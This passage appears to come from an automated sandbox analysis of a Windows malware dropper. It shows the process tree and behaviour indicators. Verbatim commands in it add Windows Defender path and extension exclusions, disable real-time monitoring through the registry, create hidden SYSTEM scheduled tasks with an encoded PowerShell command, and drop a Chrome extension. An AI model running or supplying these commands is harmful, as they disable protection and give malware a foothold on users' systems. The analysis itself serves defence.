WMIC.exe Token: SeSystemEnvironmentPrivilege 2024 WMIC.exe Token: SeUndockPrivilege 2024 WMIC.exe Token: SeManageVolumePrivilege 2024 WMIC.exe Token: SeDebugPrivilege 2420 powershell.exe Token: SeAssignPrimaryTokenPrivilege 1820 WMIC.exe Token: SeIncreaseQuotaPrivilege 1820 WMIC.exe Token: SeSecurityPrivilege 1820 WMIC.exe Token: SeTakeOwnershipPrivilege 1820 WMIC.exe Token: SeLoadDriverPrivilege 1820 WMIC.exe Token: SeSystemtimePrivilege 1820 WMIC.exe Token: SeBackupPrivilege 1820 WMIC.exe Token: SeRestorePrivilege 1820 WMIC.exe Token: SeShutdownPrivilege 1820 WMIC.exe Token: SeSystemEnvironmentPrivilege 1820 WMIC.exe Token: SeUndockPrivilege 1820 WMIC.exe Token: SeManageVolumePrivilege 1820 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2632 wrote to memory of 2332 2632 1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe 31 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2332 wrote to memory of 2824 2332 Install.exe 32 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2824 wrote to memory of 2596 2824 Install.exe 34 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2596 wrote to memory of 2584 2596 forfiles.exe 36 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2584 wrote to memory of 2592 2584 cmd.exe 37 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2592 wrote to memory of 1636 2592 powershell.exe 38 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2824 wrote to memory of 1868 2824 Install.exe 39 PID 2912 wrote to memory of 2944 2912 taskeng.exe 42 PID 2912 wrote to memory of 2944 2912 taskeng.exe 42 PID 2912 wrote to memory of 2944 2912 taskeng.exe 42 PID 2912 wrote to memory of 2944 2912 taskeng.exe 42 PID 2944 wrote to memory of 1692 2944 vxubuTV.exe 43 PID 2944 wrote to memory of 1692 2944 vxubuTV.exe 43 PID 2944 wrote to memory of 1692 2944 vxubuTV.exe 43 PID 2944 wrote to memory of 1692 2944 vxubuTV.exe 43 PID 2944 wrote to memory of 2340 2944 vxubuTV.exe 45 PID 2944 wrote to memory of 2340 2944 vxubuTV.exe 45 PID 2944 wrote to memory of 2340 2944 vxubuTV.exe 45 PID 2944 wrote to memory of 2340 2944 vxubuTV.exe 45 PID 2072 wrote to memory of 2168 2072 taskeng.exe 48 PID 2072 wrote to memory of 2168 2072 taskeng.exe 48 PID 2072 wrote to memory of 2168 2072 taskeng.exe 48
Processes
-
C:\Users\Admin\AppData\Local\Temp\1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe"C:\Users\Admin\AppData\Local\Temp\1198dc190ed27298129983e6218e63c279482b34adf78706247b054da569769a.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Users\Admin\AppData\Local\Temp\7zSE59E.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2332 -
C:\Users\Admin\AppData\Local\Temp\7zSE87B.tmp\Install.exe.\Install.exe /swgdidCpK "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m calc.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"4⤵
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2592 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1636
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bYIjjyXTgczhZAJGMW" /SC once /ST 22:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp\nvWBhgZuGqtwSPP\vxubuTV.exe\" om /ndidKuD 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1868
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 5084⤵
- Loads dropped DLL
- Program crash
PID:1564
-
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {2698CCAF-85F0-4A5B-86C1-8727C3D5F636} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp\nvWBhgZuGqtwSPP\vxubuTV.exeC:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp\nvWBhgZuGqtwSPP\vxubuTV.exe om /ndidKuD 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2944 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOgfPLsCt" /SC once /ST 05:06:20 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Scheduled Task/Job: Scheduled Task
PID:1692
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOgfPLsCt"3⤵PID:2340
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOgfPLsCt"3⤵PID:1632
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵PID:1000
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
PID:2412
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵PID:2980
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
PID:1448
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gauLKlHCQ" /SC once /ST 01:47:31 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Scheduled Task/Job: Scheduled Task
PID:2192
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gauLKlHCQ"3⤵PID:308
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gauLKlHCQ"3⤵PID:2680
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"3⤵PID:2992
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True4⤵PID:2692
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2852 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2536
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:323⤵PID:2116
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:1124
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:643⤵PID:1724
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1340
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:323⤵PID:2084
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:324⤵PID:2572
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:643⤵PID:2552
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:644⤵PID:2384
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\RkUDfeHyKRZhrXlO\rBYzbNNR\tdSEkcoOyyjmRDMf.wsf"3⤵PID:2920
-
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\RkUDfeHyKRZhrXlO\rBYzbNNR\tdSEkcoOyyjmRDMf.wsf"3⤵
- Modifies data under HKEY_USERS
PID:1248 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2112
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2400
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OniiUkVuU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:1640
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OniiUkVuU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1596
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2776
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2600
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eveqWKwISMUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:920
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eveqWKwISMUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1228
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oMPLyiqsgsRtC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:3048
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oMPLyiqsgsRtC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:984
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RfQdYYQjhFJxkqVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:828
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RfQdYYQjhFJxkqVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:800
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2064
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2300
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:532
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2024
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2240
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2248
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:324⤵PID:2420
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NFFblPWVSTUU2" /t REG_DWORD /d 0 /reg:644⤵PID:2856
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OniiUkVuU" /t REG_DWORD /d 0 /reg:324⤵PID:1276
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OniiUkVuU" /t REG_DWORD /d 0 /reg:644⤵PID:1644
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR" /t REG_DWORD /d 0 /reg:324⤵PID:2352
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YKxKHFRmqrfWRbNUYLR" /t REG_DWORD /d 0 /reg:644⤵PID:1688
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eveqWKwISMUn" /t REG_DWORD /d 0 /reg:324⤵PID:1764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\eveqWKwISMUn" /t REG_DWORD /d 0 /reg:644⤵PID:1656
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oMPLyiqsgsRtC" /t REG_DWORD /d 0 /reg:324⤵PID:3020
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oMPLyiqsgsRtC" /t REG_DWORD /d 0 /reg:644⤵PID:1804
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RfQdYYQjhFJxkqVB" /t REG_DWORD /d 0 /reg:324⤵PID:1928
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RfQdYYQjhFJxkqVB" /t REG_DWORD /d 0 /reg:644⤵PID:804
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵PID:2060
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵PID:2460
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp" /t REG_DWORD /d 0 /reg:324⤵PID:1476
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\ClVBtfBcTpyyeRnZp" /t REG_DWORD /d 0 /reg:644⤵PID:2252
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:324⤵PID:1264
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\RkUDfeHyKRZhrXlO" /t REG_DWORD /d 0 /reg:644⤵PID:1484
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDePgTIlG" /SC once /ST 04:29:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Scheduled Task/Job: Scheduled Task
PID:1524
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gDePgTIlG"3⤵PID:264
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gDePgTIlG"3⤵PID:2572
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵PID:2276
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵PID:2552
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵PID:2768
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵PID:2964
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "akamOyUwOLVWEybrw" /SC once /ST 20:20:57 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RkUDfeHyKRZhrXlO\WooAMnjmsKoKBAB\oNEGcQe.exe\" 0O /GrsXdidIC 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2580
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "akamOyUwOLVWEybrw"3⤵PID:1940
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2944 -s 2563⤵
- Loads dropped DLL
- Program crash
PID:2020
-
-
-
C:\Windows\Temp\RkUDfeHyKRZhrXlO\WooAMnjmsKoKBAB\oNEGcQe.exeC:\Windows\Temp\RkUDfeHyKRZhrXlO\WooAMnjmsKoKBAB\oNEGcQe.exe 0O /GrsXdidIC 525403 /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1640 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bYIjjyXTgczhZAJGMW"3⤵PID:2600
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &3⤵PID:2152
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"4⤵PID:1404
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵PID:2788
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2864 -
